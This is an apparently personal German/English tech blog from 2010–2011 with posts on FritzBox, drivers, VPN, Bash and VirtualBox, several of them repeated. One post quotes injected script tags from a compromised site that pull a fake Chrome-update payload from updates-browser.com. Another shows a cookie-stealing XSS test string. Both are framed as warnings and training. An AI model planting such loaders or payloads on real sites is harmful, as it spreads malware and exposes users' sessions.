Sunday, July 24, 2011
Anleitung abgeschnitte Faxe mit der Fritz Box verhindern
Seit kurzem habe ich zum ersten Mal die Fax Funktion meiner Fritz Box 7170 ausprobiert. Doch leider kommen die Faxe immer nur zerstückelt an, siehe Bild.
Nach einiger Internetrecherche[1] habe ich im Freetz Webinterface 40MB Swap Space eingestellt. Die Swappiness[2] habe ich auf dem Standardwert 60 belassen. Scheinbar wird der Swap Space auch nur während der Konvertierung des empfangenen Faxes genutzt und 40MB reichen auf jeden Fall für einen ordentlichen Faxempfang aus! Kann ich nur empfehlen, falls ihr das gleiche Problem habt.
Im normalen Betrieb bleibt der SWAP ungenutzt:
[1] http://www.ip-phone-forum.de/showthread.php?t=217730
[2] http://juliusbeckmann.de/blog/linux-speichermanagement-tunen-swappiness.html
Sunday, July 17, 2011
Cross Site Scripting wird in Browsern vertuscht
Cross Site Scripting ist eine unschöne Sache. Dabei übernimmt der Server ohne weitergehende Prüfung eingaben des Benutzers.
Formularfelder werden vielfach per Javascript geprüft. Das ist nicht sicher! Man kann zum Beispiel GET Parameter direkt in der URL Leiste manipulieren.
Moderne Browser machen hier leider einen Strich durch die Rechnung indem URLs automatisch URL-encoded werden.
Beispiel Chrome:
Sichtbar ist in der URL Bar folgendes:
Ähnlich wird in Internet Explorerer 8 und Firefox 3 and 4 vorgegangen. Allerdings wird hier der URL encoded String im Browser angezeigt, zumindest ein Hinweis für die Web Entwickler.
Wichtig ist es für einen WEB Entwickler, die Anzeige in der URL Leiste gegenzuchecken mit Firefox Plugins wie Tamper Data oder der Network Leiste in Google Chrome. Nur so kann effektiv auf Cross Site scripting überprüft werden. Im Zweifel sollte ein intercepting Proxy, zum beispiel Burp, herangezogen werden. Der kann dann auch POST Parameter modifizieren und ist frei von jeglichen Jacascript Checks.
Links:
- OWASP: Cross Site Scripting
- Burp intercepting Proxy
Formularfelder werden vielfach per Javascript geprüft. Das ist nicht sicher! Man kann zum Beispiel GET Parameter direkt in der URL Leiste manipulieren.
Moderne Browser machen hier leider einen Strich durch die Rechnung indem URLs automatisch URL-encoded werden.
Beispiel Chrome:
Sichtbar ist in der URL Bar folgendes:
example.com/?param=<script>alert(document.cookie)</script>Tatsächlich verwendet wird aber:
http://example.com/?param=%3Cscript%3Ealert(document.cookie)%3C/alert%3EHier wurde ein URL Encoding vorgenommen. Problematisch, weil mit URL-Encoding häufig kein Ausnutzen des Cross Site Scripting möglich ist. Es sieht aus, als ob die Web Anwendung sicher ist. Durch einen Intercepting Proxy ist ein Ausnutzen aber immer noch möglich!
Ähnlich wird in Internet Explorerer 8 und Firefox 3 and 4 vorgegangen. Allerdings wird hier der URL encoded String im Browser angezeigt, zumindest ein Hinweis für die Web Entwickler.
Wichtig ist es für einen WEB Entwickler, die Anzeige in der URL Leiste gegenzuchecken mit Firefox Plugins wie Tamper Data oder der Network Leiste in Google Chrome. Nur so kann effektiv auf Cross Site scripting überprüft werden. Im Zweifel sollte ein intercepting Proxy, zum beispiel Burp, herangezogen werden. Der kann dann auch POST Parameter modifizieren und ist frei von jeglichen Jacascript Checks.
Links:
- OWASP: Cross Site Scripting
- Burp intercepting Proxy
Thursday, April 14, 2011
SOAP Requests as HTTP Requests in Neoload vs. Loadrunner
Last month I started using Neoload as a load testing tool. It allows for a very easy learning curve so that the skill "load testing" can be more easily acquired.
Comparison
Both those products can be acquired with many different protocols or monitors. Neoload offers a very easy SOAP Protocol functionality where it reads out the descriptive WSDL file and offers the services for building the xml file.
However I did not have that SOAP protocol available. That means it is only not available for checking a replaying the Vuser. It is always available for recording.
For checking out the functionality in Neoload I decided to encapsulate a SOAP request in the HTTP protocolg. A SOAP request can be a simple http post request.
Usually http post request body data is comprised of key=value?key=value pairs. The Neoload HTTP protocol is designed to work exactly with this pattern and offers name and value pairs. It is possible to enter Text only in the name column. This is good for the XML SOAP request.
Yet it is possible to enter free text there and variables. If no value is present, the equal sign can be omitted by deselecting the checkbox for "put equals" in the advanced settings.
The http header can also be changed in the advanced settings of the neoload request. A special SoapAction header is necessary in the request header.
After that I added a simple variable extractor to extract the variable result.
Comparison
| HP Loadrunner | Neotys Neoload |
|---|---|
| (+) fully scriptable (+) advanced reports (-) only simple expressions (-) hard to learn (-) long time needed to record | (+) simple, intuitive interface (+) very good regular expressions (+) most correlations automatic (+) inexpensive (-) Limited report export functionality |
SOAP with Neoload
Both those products can be acquired with many different protocols or monitors. Neoload offers a very easy SOAP Protocol functionality where it reads out the descriptive WSDL file and offers the services for building the xml file.
However I did not have that SOAP protocol available. That means it is only not available for checking a replaying the Vuser. It is always available for recording.
For checking out the functionality in Neoload I decided to encapsulate a SOAP request in the HTTP protocolg. A SOAP request can be a simple http post request.
Usually http post request body data is comprised of key=value?key=value pairs. The Neoload HTTP protocol is designed to work exactly with this pattern and offers name and value pairs. It is possible to enter Text only in the name column. This is good for the XML SOAP request.
Yet it is possible to enter free text there and variables. If no value is present, the equal sign can be omitted by deselecting the checkbox for "put equals" in the advanced settings.
The http header can also be changed in the advanced settings of the neoload request. A special SoapAction header is necessary in the request header.
After that I added a simple variable extractor to extract the variable result.
Monday, January 31, 2011
Realtek RTL8187B USB Wireless and Mac OS X 10.6 Snow Leopard Howto
While Mac OS tries to look simple it still fails miserably at some 3rd party hardware support. For example a DIGITUS DN-7003GT USB Wireless dongle I got recently. Auto detection: fail.
The Digitus homepage promises Mac support. But no driver to download. Most Usb devices just re-use a specific wireless chipset. The driver for that chipset will work on every dongle, no matter which branding it uses. The DIGITUS branding contains just a RTL8187B chipset.
HOWTO get R8187 running
1. Download driver
http://218.210.127.131/downloads/downloadsView.aspx?Langid=1&PNid=24&PFid=1&Level=6&Conn=5&DownTypeID=3&GetDown=false&Downloads=true
Chipset: RTL 8187B, choose the OSX 10.5 one, even if you have OS X 10.6.
2. Install using the install command
Probably Mac OS X will say, that the driver is incompatible, but just install it for now.
3. Edit the driver
Now the driver needs to be changed for two reasons:
a) make it compatible to Mac OSX 10.6
edit the last few lines in /System/Library/Extensions/RTL8187Bl.kext/Contents/Info.plist
search for com.apple.kpi and replace update the version numbers to 8.1.0, so that you get:
<key>com.apple.kpi.bsd</key> <string>8.1.0</string> <key>com.apple.kpi.iokit<k/ey> <string>8.1.0</string> <key>com.apple.kpi.libkern</key> <string>8.1.0</string> <key>com.apple.kpi.mach</key> <string>8.1.0</string>
b) make it compatible to the specific Digitus USB wireless dongle
Use "About this Mac"->"More Information" to find your USB Device ID.
Google helps to convert it to decimal:
Vendor ID 0x0bda in decimal is 3034
Device ID 0x8189 in decimal is 33161
However in the Info.plist I only have a different device ID. But I am able to locate the Vendor ID:
<key>idProduct</key> <integer>33161</integer> <key>idVendor</key> <integer>3034</integer>The Product ID just needs to be changed to match the actual product ID of the specific USB dongle.
4. Fix permissions of the kernel extension
With Mac OS X, permissions of kernel Extensions are very important! You can even go to Disk Utility and let it repair all disk permissions.
chown -R root:wheel RTL8187Bl.kext chmod -R 755 RTL8187Bl.kext
5. Enable the kext in Mac OS X
Mac OS X keeps a cache of all kext, so we need to publish the newly compatible driver there:
rm /System/Library/Caches/com.apple.kext.caches/Startup/Extensions.mkext kextcache -v 1 -a i386 -a x86_64 -m /System/Library/Caches/com.apple.kext.caches/Startup/Extensions.mkext /System/Library/Extensions
Make sure the device does not get listed as unsuccessful during the kextcache enabling!
6. Load the driver
Now just plug in your USB dongle to see if it is detected correctly. For debugging purposes, we can load the driver manually:

kextload -t RTL8187Bl.kext
Dmesg should now have the message:
RTL8187B: Ethernet address xx:xx:xx:xx:xx:xx
You can only use it with the Realtek USB WLAN Client Utility. Really uncomfortable. Is there any dongle out there that works on Mac without a utility?
Tuesday, January 25, 2011
Installation Treiber von Windows XP CD unter Windows Vista
Heute ging es daran ein antikes Schmuckstück, EPSON LQ-550 an einem inzwischen auch schon veralteten Windows Vista Computer anzuschliessen. Vista bietet den Druckertreiber unverständlicherweise von Haus aus nicht mehr an. Treiber zum Download gibt es nur für Windows 98. Es gibt auch mit dem omniprint Projekt einen CUPS Linux Treiber - vielleicht etwas für die nächste Migration auf Linux! Allerdings gibt es mit etwas Googlen die Information, dass der Drucker von Windows XP unterstützt wird. Plan: XP Treiber für Vista recyclen
Wo sind die alten Treiber auf der Windows XP CD?
Die Treiber von Windows XP kommen in einer Datei D:\WINXP\I386\driver.cab. Driver.cab enthält dann den konkreten Treiber ep24res.dll und die GPD-Beschreibungsdatei EP550.GPD. Allerdings können diese beiden nur durch eine inf-Datei installiert werden. Zum Glück muss man diese nicht selbst erstellen, sondern Windows XP bringt die schon im Verzeichnis D:\WINXP\I386 selbst mit.
Wie werden diese unter Windows Vista verwendet?
Im Drukermenü kann ein neuer Drucker hinzugefügt werden und dort muss dann ein eigener Pfad der Treiberdaten angegeben werden. Dieser Pfad ist D:\WINXP\I386. Danach bietet Vista die komplette Treiberliste von Windows XP an. Hier kann man direkt das richtige Modell auswählen.
Und voila - der alte Nadeldrucker verrichtet auch selbst unter Windows Vista tadellos seine Dienste.
Wo sind die alten Treiber auf der Windows XP CD?
Die Treiber von Windows XP kommen in einer Datei D:\WINXP\I386\driver.cab. Driver.cab enthält dann den konkreten Treiber ep24res.dll und die GPD-Beschreibungsdatei EP550.GPD. Allerdings können diese beiden nur durch eine inf-Datei installiert werden. Zum Glück muss man diese nicht selbst erstellen, sondern Windows XP bringt die schon im Verzeichnis D:\WINXP\I386 selbst mit.
Wie werden diese unter Windows Vista verwendet?
Im Drukermenü kann ein neuer Drucker hinzugefügt werden und dort muss dann ein eigener Pfad der Treiberdaten angegeben werden. Dieser Pfad ist D:\WINXP\I386. Danach bietet Vista die komplette Treiberliste von Windows XP an. Hier kann man direkt das richtige Modell auswählen.
Und voila - der alte Nadeldrucker verrichtet auch selbst unter Windows Vista tadellos seine Dienste.
Monday, January 10, 2011
OpenVPN zwischen iPhone und FritzBox
Wieso OpenVPN?
Nachteile des AVM VPNs mit IPSeC:
- das iPhone verlangt immer ein Passwort
- es wird nicht der gesamte Verkehr übers VPN geleitet
PPTP geht mit Freetz und der FritzBox Beta Labor nicht, weil AVM dort keine Kernel Quellcodes bereitstellt. Bei OpenVPN geht alles auch mit der Labor Version, wenn es auch etwas Aufwand verlangt.
Setup von OpenVPN auf dem iPhone
Ich bin nach einer Anleitung für OpenVPN und Freetz [1] und einer Anleitung für OpenVPN und das iPhone [2] und [3] vorgegangen. Dort fehlt allerdings ein für mich wichtiger Punkt:
Den gesamten Traffic durch den Tunnel leiten
Die Weiterleitung des gesamten Traffics ist unter Mac OSX und iOS nicht so gehandhabt, wie auf anderen Unixen. Die Routen lassen sich mit "netstat -r" anzeigen und mit dem OSX-eigenen Tool "scutil" umsetzen.
Zur Weiterleitung des gesamten Updates wird das Attribut "OverridePrimary" verwendet, siehe Beispielscript unter [4]. Dazu habe ich in der Datei aus dem Guide oben den Eintrag für "update-resolv-conf" gesucht und dort zwischen die anderen d.add Befehle "d.add OverridePrimary # 1" eingefügt. Damit wird der gesamte Traffic über das VPN geleitet.
Fazit, Vergleich OpenVPN und andere
Bei mir hat das soweit funktioniert, ich hatte aber doch bei Sprachgesprächen einen Hall, was vielleicht an der latenzträchtigen UDP-Kapselung von OpenVPN liegt. Nach meinem Gefühl ist es bei PPTP nicht so hörbar. Also forsche ich weiter nach der perfekten iSIP iPhone FritzBox VPN Telefonie Lösung.
[1] http://freetz.org/wiki/packages/openvpn
[2] http://dokuwiki.knallimall.org/iphone:openvpn
[3] http://chandraonline.net/blog/?p=22
[4] http://www.bsdforen.de/showthread.php?p=212991
Nachteile des AVM VPNs mit IPSeC:
- das iPhone verlangt immer ein Passwort
- es wird nicht der gesamte Verkehr übers VPN geleitet
PPTP geht mit Freetz und der FritzBox Beta Labor nicht, weil AVM dort keine Kernel Quellcodes bereitstellt. Bei OpenVPN geht alles auch mit der Labor Version, wenn es auch etwas Aufwand verlangt.
Setup von OpenVPN auf dem iPhone
Ich bin nach einer Anleitung für OpenVPN und Freetz [1] und einer Anleitung für OpenVPN und das iPhone [2] und [3] vorgegangen. Dort fehlt allerdings ein für mich wichtiger Punkt:
Den gesamten Traffic durch den Tunnel leiten
Die Weiterleitung des gesamten Traffics ist unter Mac OSX und iOS nicht so gehandhabt, wie auf anderen Unixen. Die Routen lassen sich mit "netstat -r" anzeigen und mit dem OSX-eigenen Tool "scutil" umsetzen.
Zur Weiterleitung des gesamten Updates wird das Attribut "OverridePrimary" verwendet, siehe Beispielscript unter [4]. Dazu habe ich in der Datei aus dem Guide oben den Eintrag für "update-resolv-conf" gesucht und dort zwischen die anderen d.add Befehle "d.add OverridePrimary # 1" eingefügt. Damit wird der gesamte Traffic über das VPN geleitet.
Fazit, Vergleich OpenVPN und andere
Bei mir hat das soweit funktioniert, ich hatte aber doch bei Sprachgesprächen einen Hall, was vielleicht an der latenzträchtigen UDP-Kapselung von OpenVPN liegt. Nach meinem Gefühl ist es bei PPTP nicht so hörbar. Also forsche ich weiter nach der perfekten iSIP iPhone FritzBox VPN Telefonie Lösung.
[1] http://freetz.org/wiki/packages/openvpn
[2] http://dokuwiki.knallimall.org/iphone:openvpn
[3] http://chandraonline.net/blog/?p=22
[4] http://www.bsdforen.de/showthread.php?p=212991
Wednesday, December 22, 2010
Warten auf Standard-Ausgabe in Bash oder offene Pfeife
Das Problem
Nach Aufruf eines Dämons (hier sleep) kehrt die Bash nicht gleich zurück sondern wartet.$ time ( sleep 3 &)|cat; ps real 0m3.005s user 0m0.000s sys 0m0.004s PID TTY TIME CMD 7644 pts/0 00:00:00 bash 14552 pts/0 00:00:00 ps
Erklärung
Das "sleep" Kommando in der Subshell "( )" soll in den Hintergrund gehen "&". Danach soll die Ausgabe des symbolischen "sleep"-Dämons mit einem symbolischen "cat" verarbeitet werden. Die Zeitmessung "time" dauert statt der erwarteten 0.0x volle 3 Sekunden und "sleep" ist nach dem Aufruf nicht in der Prozessliste sichtbar.Analyse
Das passiert nur, wenn die Ausgabe über eine Pfeife "|" geleitet wird. "cat" muss auf alle Eingaben warten, bevor es sich selbst schließt.Workaround
$ time ( sleep 3 &)>/dev/null|cat; ps real 0m0.003s user 0m0.000s sys 0m0.004s PID TTY TIME CMD 7644 pts/0 00:00:00 bash 17449 pts/0 00:00:00 sleep 17450 pts/0 00:00:00 psHier wird die Standardausgabe auf /dev/null umgelenkt. Damit muss "cat" nicht mehr auf die Ausgabe warten. Ein definiertes Logging kann auch in eine Datei erfolgen, falls man die Ausgabe behalten möchte:
$ ( sleep 3 &)>/var/log/meindaemon.log|cat
Empfehlung
Ein "richtiger" Dämon sollte immer selbst Standardaus- und Eingaben abkoppeln um nicht noch gekoppelte Prozesse in der aufrufenden Shell aufzuhalten.Tools zum Debuggen
- lsof -p (PID) Offene Dateien eines Programmes auflisten
- pfiles (PID) Schöner offene Dateien eines Programmes auflisten
- fuser (Datei) Herausfinden, von welcher PID eine Datei geöffnet wird
Wednesday, December 15, 2010
Leichtgläubigkeit und Virenverteilung im Browser
Heute wurde mir bei der Immobiliensuche ein Chrome Browser in der Version 10 angeboten. Sehr geschickt ist in einem Iframe unterhalb die Seite von Google eingeblendet um den Anschein von Vertrauen zu erwecken. Wer sich allerdings auskennt, kann im Release Blog nachsehen, dass es Version 10 noch gar nicht gibt [1]. Bei einem Klick auf "Aktualisierung starten" wird eine vermutlich virenbelastete .exe-Datei "Chrome_5_update.exe" heruntergeladen.
Beim "Abbrechen" ist mein System möglicherweise gefährdet - und ich lande auf domport.de. Vermutlich hat die Domaininhaberin ihre Website aufgegeben oder noch gar nicht erstellt, und leitet deshalb auf einen Domain Parker um. Diese versuchen durch den Traffic noch Werbeeinnahmen zu erzielen. Allerdings ist hier wohl das System von Domport manipuliert. Ich habe DOMPORT per E-Mail informiert aber bisher (24.12.) keine Antwort bekommen.
Wie funktioniert diese Weiterleitung technisch? Im Code, der von http://immobilien-muenchen-flughafen.de/ ausgeliefert wird, steht folgendes:
<script type="text/javascript" src="http://www.updates-browser.com/update_layer/layer_os.php?au=http%3A%2F%2Fparking.domport.de%2F%3Fdomain%3Dimmobilien-muenchen-flughafen.de"></script>
<script language="javascript">window.setTimeout('updatepop()',3000);</script>
<iframe width="100%" height="100%" src="http://www.google.de/search?q=www.immobilien-muenchen-flughafen.de" border="0" frameborder="0" style="border:0px;"></iframe>
Der erste Script Aufruf holt sich den Malware-Code bei updates-browser.com, danach wird dem Browser ein iframe mit einer Google-Suche untergeschoben. Dadurch sieht das ganze für den Laien vertrauenswürdig aus.
Die Moral: Vorsicht, Google Chrome updated sich von selbst, niemals ein Updatefenster akzieptieren!
Das Spoofing ist bekannt im Netz und zum Beispiel auch auf www.sandmeannchen.de aktiv [2]. Auch heise[3] berichtete darüber.
Ich hoffe hiermit verhindere ich einige Infektionen!
[1] http://googlechromereleases.blogspot.com
[2] http://www.freak-search.com/de/thread/3204336/spoofing_seite
[3] http://www.heise.de/newsticker/meldung/Vorgebliche-Browser-Updates-installieren-Ad-Ware-1138301.html
Friday, December 3, 2010
VirtualBox Webinterface PHPVirtualBox einrichten unter Linux
Wieso Virtualbox?
VMWare, KVM+libvirt, Qemu, was nimmt man nur? Am technologisch "besten" soll libvirt und KVM sein. Aber dafür gibt es kein geeignetes Webinterface. Dagegen ist PHPVirtualbox eine geniale Lösung, die sehr stark dem Desktop-Client nachempfunden ist. Auch ohne Vorkenntnisse sollte man sehr gut damit zurecht kommen. Hier gibt es zum Einstieg ein HOWTO mit einer Schritt für Schritt Anleitung.
Virtualbox unter Ubuntu installieren
Zunächst will Ubuntu wissen woher es Virtualbox bekommt. Ich nehme in diesem Beispiel die LTS Version 10.04 oder "Lucid", das sollte bei anderen Versionen geändert werden.
Zunächst brauchen wir PHP selbst, dann kann auch die Applikation installiert werden.
Danach ist es noch nötig, die Datei "/var/www/phpvirtualbox-0.5/config.php" anzupassen:
Datei /var/www/phpvirtualbox-0.5/.htaccess
Vmwares disk images im VMDK Format können direkt von VirtualBox verwendet werden, allerdings nicht, wenn sie in mehrere Dateien aufgeteilt sind. Zusammenfügen von Images:
- IDE festplatte wählen statt SATA
- Host-only networking
Remote Desktop Verbindung mit VRDP absichern [Update 4.12]
Die remote Desktop Verbindung ist wunderschön zum einrichten von virtuellen Maschinen. Nur leider ist das per Default ohne Passwort. Das entsprechende Kapitel in der Virtualbox Anleitung erklärt, was die verschiedenen Methoden "External" oder "Guest" bedeuten. So richtig befriedigend finde ich diese Sicherungsmethoden aber nicht. Hier sollte Virtualbox noch nachbessern.
Weblinks
PHPVirtualbox Website
Blogeintrag Moving from VMWare to VirtualBox. PHPVirtualBox on Ubuntu.
VMWare, KVM+libvirt, Qemu, was nimmt man nur? Am technologisch "besten" soll libvirt und KVM sein. Aber dafür gibt es kein geeignetes Webinterface. Dagegen ist PHPVirtualbox eine geniale Lösung, die sehr stark dem Desktop-Client nachempfunden ist. Auch ohne Vorkenntnisse sollte man sehr gut damit zurecht kommen. Hier gibt es zum Einstieg ein HOWTO mit einer Schritt für Schritt Anleitung.
Virtualbox unter Ubuntu installieren
Zunächst will Ubuntu wissen woher es Virtualbox bekommt. Ich nehme in diesem Beispiel die LTS Version 10.04 oder "Lucid", das sollte bei anderen Versionen geändert werden.
# Quellen bekannt machen echo -e "# Virtualbox Quelle für Lucid 10.04 deb http://download.virtualbox.org/virtualbox/debian lucid non-free" \ >> /etc/apt/sources.list # Den sicheren Schlüssel hinzufügen apt-key adv --recv-keys \ --keyserver keyserver.ubuntu.com 98AB5139 # Paketlisten aktualisieren apt-get update # VirtualBox installieren apt-get install virtualbox-3.2 # Benutzer hinzufügen useradd -m vbox vboxusers # Passwort setzen und merken für später passwd vbox # Benutzername für Init eintragen und starten echo "VBOXWEB_USER=vbox" >> /etc/vbox/vbox.cfgPHPVirtualBox installieren/etc/init.d/vboxdrv start /etc/init.d/vboxweb-service start # VirtualBox Bei jedem Booten starten update-rc.d vboxweb-service defaults
Zunächst brauchen wir PHP selbst, dann kann auch die Applikation installiert werden.
apt-get install php5cd /var/www/ # Downloaden und auspackenwget http://phpvirtualbox.googlecode.com/files/phpvirtualbox-0.5.zipunzip phpvirtualbox-0.5.ziprm phpvirtualbox-0.5.zip # apache starten und per default startenupdate-rc.d apache2 defaults/etc/init.d/apache2 restart
Danach ist es noch nötig, die Datei "/var/www/phpvirtualbox-0.5/config.php" anzupassen:
var $username = 'vbox'; var $password = 'GemerktesPasswortVonVorhin';Das Setup absichern
Datei /var/www/phpvirtualbox-0.5/.htaccess
AuthType Basic AuthName "Login to phpVirtualBox" AuthUserFile /var/www/phpvirtualbox-0.5/.htpasswd Require user vbox
Datei .htpasswd erzeugen, bitte mit sicherem Passwort:
htpasswd -c /var/www/phpvirtualbox-0.5/.htpasswd vboxDie .htpasswd Absicherung muss dann noch in der Apache Konfiguration für /var/www erlaubt werden:
/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride None
...
</Directory>
ändern in:/etc/apache2/sites-available/default:
<Directory /var/www>
...
AllowOverride AuthConfig
...
</Directory>
VMWare Images zu VirtualBox konvertierenVmwares disk images im VMDK Format können direkt von VirtualBox verwendet werden, allerdings nicht, wenn sie in mehrere Dateien aufgeteilt sind. Zusammenfügen von Images:
vmware-vdiskmanager -r name-der-alten.vmdk -t 0 neuer-single-vmdk-name.vmdkBeim Erstellen der neuen Virtual Machines in VirtualBox habe ich auf folgendes geachtet:
- IDE festplatte wählen statt SATA
- Host-only networking
Remote Desktop Verbindung mit VRDP absichern [Update 4.12]
Die remote Desktop Verbindung ist wunderschön zum einrichten von virtuellen Maschinen. Nur leider ist das per Default ohne Passwort. Das entsprechende Kapitel in der Virtualbox Anleitung erklärt, was die verschiedenen Methoden "External" oder "Guest" bedeuten. So richtig befriedigend finde ich diese Sicherungsmethoden aber nicht. Hier sollte Virtualbox noch nachbessern.
Weblinks
PHPVirtualbox Website
Blogeintrag Moving from VMWare to VirtualBox. PHPVirtualBox on Ubuntu.
Wie programmiert man sichere Web Applikationen?
Jeder Web Entwickler sollte sich bewusst sein, dass unsicher programmierte Webapplikationen heute das Haupteinfallstor in sichere Unternehmensnetze sind.
Um diese Lücke zu schliessen wäre der beste Weg, einfach keine Lücken in Web Applikationen einzubauen. Allerdings passiert das einbauen von Lücken oft unbemerkt und manche Schlupflöcher sind eventuell noch gar nicht entdeckt. Um allerdings bekannte Fehler zu vermeiden, ist es zuerst nötig diese zu kennen. Frei nach dem Motto "know your enemy".
Eine Liste findet sich in den OWASP Top 10. Um etwas tiefer einzusteigen kann man sich die eigenen HTTP Header mit Hilfe des Burp proxy anschauen und modifizieren. Im Web gibt es eine Vielzahl von unsicheren Beispielapplikationen, die Lücken zum Live-Anschauen bieten, zum Beispiel: badstore, mutilidae, moth, eine Liste. Sehr geholfen hat mir auch das Buch "The Web Application Hackers Handbook" von den Machern von burp. Es ist zwar kein Schnäppchen aber lohnt sich doch für einen tieferen Einblick:
Disclaimer: Dies dient ausdrücklich nur dem Training und sichern von eigenen Web Applikationen.
Um diese Lücke zu schliessen wäre der beste Weg, einfach keine Lücken in Web Applikationen einzubauen. Allerdings passiert das einbauen von Lücken oft unbemerkt und manche Schlupflöcher sind eventuell noch gar nicht entdeckt. Um allerdings bekannte Fehler zu vermeiden, ist es zuerst nötig diese zu kennen. Frei nach dem Motto "know your enemy".
Eine Liste findet sich in den OWASP Top 10. Um etwas tiefer einzusteigen kann man sich die eigenen HTTP Header mit Hilfe des Burp proxy anschauen und modifizieren. Im Web gibt es eine Vielzahl von unsicheren Beispielapplikationen, die Lücken zum Live-Anschauen bieten, zum Beispiel: badstore, mutilidae, moth, eine Liste. Sehr geholfen hat mir auch das Buch "The Web Application Hackers Handbook" von den Machern von burp. Es ist zwar kein Schnäppchen aber lohnt sich doch für einen tieferen Einblick:
Disclaimer: Dies dient ausdrücklich nur dem Training und sichern von eigenen Web Applikationen.
Thursday, December 2, 2010
Testautomatisierung Open Source: Hudson, Fitnesse, JUnit
Zur Testautomatisierung verwende ich in der Regel kommerzielle Tools wie HP Loadrunner oder HP Quicktest Pro oder aber HP Quality Center.
Aber auch im Open Source Bereich gibt es viele interessante Testhelfer, hier eine kleine Auswahl:
- Hudson Automatisierte Buildprozesse inklusive Integration ins Versionsmanagement. Zum Beispiel build beim Subversion Checkin
- JUnit Bietet Möglichkeiten zum Testen von kleinen Codesegmenten. Vorteil: Es muss nicht zuerst die ganze Anwendung gebaut und gestartet werden.
- Maven ist ein standardisiertes "Makefile" für Java. Das Tool ermöglicht automatischen Download von Abhängigkeiten und bindet viele Testtools ein.
- Fitnesse speichert Tests in einem Wiki und ermöglicht die schöne Ausführung.
- Fitnesse speichert Tests in einem Wiki und ermöglicht die schöne Ausführung.
- Selenium ist ein Web-Testing Framework um die Oberfläche von Webanwendungen durch einen Browser automatisiert zu testen.
- JMeter ermöglicht einen Lasttest durch Aufzeichen und späteres abspielen der Anfragen. Selenium benötigt pro User einen laufenden Browser und skaliert deshalb hier nicht gut.
Thursday, November 25, 2010
Die Prozess ID (PID) eines Prozesses unter Unix speichern - Beispiel ApacheDS
Immer wieder kommt es vor, dass Daemon-Prozesse ihre Prozess IDs nicht speichern können. Das hat den Nachteil, dass der Prozess später nicht mehr akkurat erkannt und beendet werden kann.
Zum Beispiel Apache Directory Server in der Version 1.5.4. Der proprietäre IBM Rational Directory Server für IBM Rational Synergy verlässt sich auf diese Version.
Das mitgelieferte .sh-Startskript ist unbrauchbar, weil nach dem Starten mit dem Bash-builtin $! nur die PID des Bash-Prozesses des Startskripts abrufbar ist. So kann die PID trotzdem gespeichert werden:
beim Beenden ist es dann möglich, diese PID gezielt zu killen. Hier bietet sich killproc an, weil es auch noch überprüft, ob die PID aus dem laufenden Linux Kernel zum Prozess "java" gehört:
Problem gelöst. Für ApacheDS werden neuere Versionen sicher eine bessere Lösung bieten, zum Beispiel durch ein neues Installationslayout.
Zum Beispiel Apache Directory Server in der Version 1.5.4. Der proprietäre IBM Rational Directory Server für IBM Rational Synergy verlässt sich auf diese Version.
Das mitgelieferte .sh-Startskript ist unbrauchbar, weil nach dem Starten mit dem Bash-builtin $! nur die PID des Bash-Prozesses des Startskripts abrufbar ist. So kann die PID trotzdem gespeichert werden:
# ApacheDS implementiert in dieser Version keine PID Speicherung
# java Kommando aus der .sh Datei greppen
# Ausgabe ist ein ApacheDS logo, deshalb nach dev null
# Daemonisiert sich nicht ordentlich, deshalb muss STDERR auch nach dev null
$(grep ^java apacheds_1.5.4/apacheds.sh) >/dev/null 2>&1 &
echo $! > apacheds.pid
beim Beenden ist es dann möglich, diese PID gezielt zu killen. Hier bietet sich killproc an, weil es auch noch überprüft, ob die PID aus dem laufenden Linux Kernel zum Prozess "java" gehört:
/sbin/killproc -p apacheds.pid -TERM /pfad/nach/jre/bin/java
Problem gelöst. Für ApacheDS werden neuere Versionen sicher eine bessere Lösung bieten, zum Beispiel durch ein neues Installationslayout.
Monday, November 22, 2010
Google App Engine: Packliste Webapp Alpha
Nach etwas Arbeit habe ich endliche eine funktionierende Version online bekommen: Packliste Webapp Alpha (Disclaimer: keine vollständige Packliste, alpha)
Google App Engine ist ein kostenloser Hoster für Web Anwendungen. Die Free Quotas sind meiner Meinung nach sehr groß und sollten für die Packliste reichen. Wer für App Engine programmiert darf sich erstmal zwischen Java und Python entscheiden.
Java kenne ich schon und deshalb habe ich mich für Python und Django als Template Engine entschieden und dabei gelernt, dass Django auf Google etwas anders ist. Inzwischen finde ich mich in den Templates zurecht und kann produktiv sein.
Sehr schön ist das Framework jQuery Mobile. Es stellt das komplette Interface bereit und kümmert sich um Gerätekompatibilität. Gleichzeitig sind damit auch alle jQuery Funktionen verfügbar.
Aktuelle Funktionen meiner App:
- Anzeigen einer Packliste
- Packstücke einpacken -> durchstreichen und nach Unten bewegen
- AJAX-Onlinezähler zum Registrieren der Packhäufigkeit
- Hinzufügen von Items
TODO:
- HTML5 Local Storage für gepackte Teile
- Kategorisierung / Übersichtlichkeit
- Umwandlung in native App
Für Ideen und Verbesserungsvorschläge bin ich dankbar.
Danke an Charlotte für die Idee und an die Google Tools User Group München und das Bootcamp 2010 für die erste Android App, die zu dieser App geführt hat.
Google App Engine ist ein kostenloser Hoster für Web Anwendungen. Die Free Quotas sind meiner Meinung nach sehr groß und sollten für die Packliste reichen. Wer für App Engine programmiert darf sich erstmal zwischen Java und Python entscheiden.
Java kenne ich schon und deshalb habe ich mich für Python und Django als Template Engine entschieden und dabei gelernt, dass Django auf Google etwas anders ist. Inzwischen finde ich mich in den Templates zurecht und kann produktiv sein.
Sehr schön ist das Framework jQuery Mobile. Es stellt das komplette Interface bereit und kümmert sich um Gerätekompatibilität. Gleichzeitig sind damit auch alle jQuery Funktionen verfügbar.
Aktuelle Funktionen meiner App:
- Anzeigen einer Packliste
- Packstücke einpacken -> durchstreichen und nach Unten bewegen
- AJAX-Onlinezähler zum Registrieren der Packhäufigkeit
- Hinzufügen von Items
TODO:
- HTML5 Local Storage für gepackte Teile
- Kategorisierung / Übersichtlichkeit
- Umwandlung in native App
Für Ideen und Verbesserungsvorschläge bin ich dankbar.
Danke an Charlotte für die Idee und an die Google Tools User Group München und das Bootcamp 2010 für die erste Android App, die zu dieser App geführt hat.
Tuesday, November 16, 2010
App-Programmierung - Web oder Nativ? Marktforschung
Am Anfang steht eine Idee: Eine Packliste, die Intelligent ist. Die mir beim Kofferpacken genau das anzeigt was am wichtigsten ist und dabei die Intelligenz der Massen nutzt.
Web oder Nativ?
Wie programmiert man heute Apps? In Java für Android oder in Objective-C fürs iPhone? Ich habe mir beides angesehen und eine Java-Android Applikation für meine Packliste geschrieben.
